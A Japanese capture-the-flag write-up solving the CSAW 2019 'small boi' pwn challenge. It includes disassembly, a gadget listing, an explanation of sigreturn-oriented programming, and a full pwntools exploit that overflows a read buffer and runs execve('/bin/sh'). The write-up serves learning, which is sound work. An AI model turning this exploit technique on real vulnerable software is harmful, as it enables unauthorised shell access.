---
# System prepended metadata

title: CSAW CTF 2019 Quals - small boi
tags: [pwn]

---

---
tags: pwn
---

# CSAW CTF 2019 Quals - small boi

これまでに解いた問題: https://hackmd.io/@Xornet/BkemeSAhU

CTFのリポジトリ: https://github.com/osirislab/CSAW-CTF-2019-Quals

## Writeup

### Outline

自明なBOFがあるのでROPをしようと思ったがバイナリがコンパクトでまともなガジェットが無い。幸いにも任意システムコールを呼ぶことが出来るのでSROPでレジスタに入れたい値をpopしてから再度システムコールを呼ぶ事で`execve("/bin/sh", null, null)`を実行する

### checksec

```
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

NX以外無効というここ最近のフルアーマーからすると信じられないレベルの貧弱さ

### Binary

非常に軽量なバイナリで多分元がC言語ではない(リポジトリあったので見たらインラインアセンブラだった)。Ghidraのデコンパイルはまともに働いてくれないのでradare2でディスアセンブル結果を覗く

まずはentry部分
```
[0x004001ad]> pdf
/ (fcn) entry0 29
|   entry0 ();
|           0x004001ad      55             push rbp
|           0x004001ae      4889e5         mov rbp, rsp
|           0x004001b1      b800000000     mov eax, 0
|           0x004001b6      e8d1ffffff     call fcn.0040018c
|           0x004001bb      4831f8         xor rax, rdi
|           0x004001be      48c7c03c0000.  mov rax, 0x3c               ; '<' ; 60
|           0x004001c5      0f05           syscall
|           0x004001c7      90             nop
|           0x004001c8      5d             pop rbp
\           0x004001c9      c3             ret
```

`fcn.0040018c`を呼んだ後にシステムコールを60番で呼び出している。これはexitのシステムコール番号である。

entry中で呼ばれている`fcn.0040018c`は次の通り

```
/ (fcn) fcn.0040018c 33
|   fcn.0040018c ();
|           ; var int local_20h @ rbp-0x20
|              ; CALL XREF from 0x004001b6 (entry0)
|           0x0040018c      55             push rbp
|           0x0040018d      4889e5         mov rbp, rsp
|           0x00400190      488d45e0       lea rax, qword [local_20h]
|           0x00400194      4889c6         mov rsi, rax
|           0x00400197      4831c0         xor rax, rax
|           0x0040019a      4831ff         xor rdi, rdi
|           0x0040019d      48c7c2000200.  mov rdx, 0x200              ; 512
|           0x004001a4      0f05           syscall
|           0x004001a6      b800000000     mov eax, 0
|           0x004001ab      5d             pop rbp
\           0x004001ac      c3             ret
```

システムコール番号を0で呼び出していることからreadが呼ばれていることがわかる。
他の引数を見ると

```
rdi: 0
rsi: rbp - 0x20
rdx: 0x200
```

であることから`read(0, buf, 0x200)`のような処理になっていることがわかる
`buf`のサイズは0x20で確保されているように見えることからここの処理にBOFが存在する。今回はカナリアも無いことからROPが出来そうである。

## gadget探し

システムコールが使えそうなので`execve("/bin/sh", 0, 0)`を呼びたい。今回はPIE無効なので`/bin/sh`がELF中にあればそのまま使えそうである。というわけでstringsコマンドをかけるとあったので使うことにする
あとは各種レジスタに値を入れれば良いのだが、バイナリが非常に小さい上に直接アセンブリを書いていそうなことから`pop rdi`のようなガジェットが存在しない。

```
$ rpg small_boi
Gadgets information
============================================================
0x00000000004001a7 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x0000000000400235 : add byte ptr [rax], al ; add byte ptr [rdi + rdi*8 - 1], dl ; jmp qword ptr [rcx]
0x0000000000400182 : add byte ptr [rax], al ; add byte ptr [rdi], cl ; add eax, 0x58c35d90 ; ret
0x00000000004001a9 : add byte ptr [rax], al ; pop rbp ; ret
0x0000000000400183 : add byte ptr [rax], al ; syscall
0x0000000000400237 : add byte ptr [rdi + rdi*8 - 1], dl ; jmp qword ptr [rcx]
0x0000000000400184 : add byte ptr [rdi], cl ; add eax, 0x58c35d90 ; ret
0x00000000004001a0 : add byte ptr [rdx], al ; add byte ptr [rax], al ; syscall
0x0000000000400186 : add eax, 0x58c35d90 ; ret
0x00000000004001bd : clc ; mov rax, 0x3c ; syscall
0x000000000040016b : clc ; push -0x4f ; xchg eax, edi ; shr byte ptr [rdx + rcx*2 + 0x68], 0x96 ; ret 0x5462
0x00000000004001c1 : cmp al, 0 ; add byte ptr [rax], al ; syscall
0x000000000040019c : dec dword ptr [rax - 0x39] ; ret 0x200
0x000000000040023b : jmp qword ptr [rcx]
0x000000000040016d : mov cl, 0x97 ; shr byte ptr [rdx + rcx*2 + 0x68], 0x96 ; ret 0x5462
0x00000000004001a6 : mov eax, 0 ; pop rbp ; ret
0x00000000004001bf : mov eax, 0x3c ; syscall
0x0000000000400180 : mov eax, 0xf ; syscall
0x000000000040017e : mov ebp, esp ; mov eax, 0xf ; syscall
0x000000000040019e : mov edx, 0x200 ; syscall
0x00000000004001be : mov rax, 0x3c ; syscall
0x000000000040017d : mov rbp, rsp ; mov eax, 0xf ; syscall
0x000000000040019d : mov rdx, 0x200 ; syscall
0x0000000000400187 : nop ; pop rbp ; ret
0x000000000040018a : pop rax ; ret
0x0000000000400188 : pop rbp ; ret
0x000000000040016c : push -0x4f ; xchg eax, edi ; shr byte ptr [rdx + rcx*2 + 0x68], 0x96 ; ret 0x5462
0x000000000040017c : push rbp ; mov rbp, rsp ; mov eax, 0xf ; syscall
0x0000000000400189 : ret
0x000000000040019f : ret 0x200
0x0000000000400174 : ret 0x5462
0x000000000040016f : shr byte ptr [rdx + rcx*2 + 0x68], 0x96 ; ret 0x5462
0x0000000000400185 : syscall
0x000000000040016e : xchg eax, edi ; shr byte ptr [rdx + rcx*2 + 0x68], 0x96 ; ret 0x5462
0x0000000000400173 : xchg eax, esi ; ret 0x5462
0x00000000004001bc : xor eax, edi ; mov rax, 0x3c ; syscall
0x000000000040019b : xor edi, edi ; mov rdx, 0x200 ; syscall

Unique gadgets found: 37
```

(`rpg`は`ROPgadget.py --binary`のエイリアス)

但し`pop rax; ret`と`syscall`があるので引数を設定しないのならシステムコールは呼べそうである。そこでsigreturnシステムコールを呼ぶ

## SROP

sigreturnシステムコールというものがある。x64なら15番のシステムコールで発動する。詳しい説明は参考文献に投げるが、カーネル空間からユーザ空間に戻る際に、退避しておいたユーザ空間のレジスタの値を復元するために各レジスタに対して値をpopする処理が行われる。これは"全てのレジスタ"に対してpopが行われるためスタックを次のようにしておけば任意のシステムコールが呼べそうである。

```
(saved_rbp, any)
&(pop rax; ret)
0xf  // rt_sigretunのシステムコール番号
&syscall
values
...
```

popする順番も決まっているので上手くスタックを構成すれば任意システムコーツが呼べる。どの順番でpopされるかは長くなるので参考文献に投げるが今回はpwntoolsにある`SigreturnFrame`を利用した。これをデフォルトの値は0(cs/gs/fsだけ確か何らかの値が入っている)で他のレジスタの値を辞書かドット記法で指定出来る(詳しくはコードを見たほうが早い)。
というわけで次のようにレジスタの値を設定すればこのシステムコールが呼ばれた後に`execve("/bin/sh", null, null)`を呼ぶことが出来そうである

```
rdi: &("/bin/sh")
rsi: 0
rdx: 0
rax: 59  // execveのシステムコール番号
rip: &syscall
```

なお、今回は`mov eax, 0xf; syacall`のガジェットがあったのでraxに値をpopせずにこれをそのまま使った

## Code

```python
from pwn import p64, u64, ELF, process, remote, SigreturnFrame, context, constants


if __name__ == "__main__":
    elf = ELF("./small_boi")
    context.binary = elf

    binsh = next(elf.search(b"/bin/sh\x00"))
    gadgets = {
        "syscall": 0x400185,
        "pop_rax": 0x40018a,
        "sigreturn": 0x400180
    }

    s = process(elf.path)
    junk = b"a" * 0x28
    payload = junk
    payload += p64(gadgets["sigreturn"])

    frame = SigreturnFrame()
    frame["rax"] = 59
    frame["rdi"] = binsh
    frame["rsi"] = 0
    frame["rdx"] = 0
    frame["rip"] = gadgets["syscall"]

    payload += bytes(frame)

    s.send(payload)

    s.interactive()
```

## Flag

ローカルでシェル取っただけ

## 感想

TSGCTFでSROPが出たので習得するかと思ったので解きましたがこのコーナーのこの時期にやるにはちょっと簡単すぎたので応用できそうな問題を探したいです(TSGCTFのBeginner's PwnはFSA等他にやることが多すぎるので後回し)

元々WSLでやってたら何故か上手く行かなかった(公式のwriteupも他人のwriteupも全部効かなかった)のでVirtualBoxで試すついでに環境構築してこのコーナーサボってました
結果、仮想環境上のubuntu serverに対してVSCodeからSSHするのが楽だったので今度からこれでExploit開発します

## 参考文献

* [x64でSigreturn Oriented ProgrammingによるASLR+DEP+RELRO回避をやってみる - ももいろテクノロジー](http://inaz2.hatenablog.com/entry/2014/07/30/021123)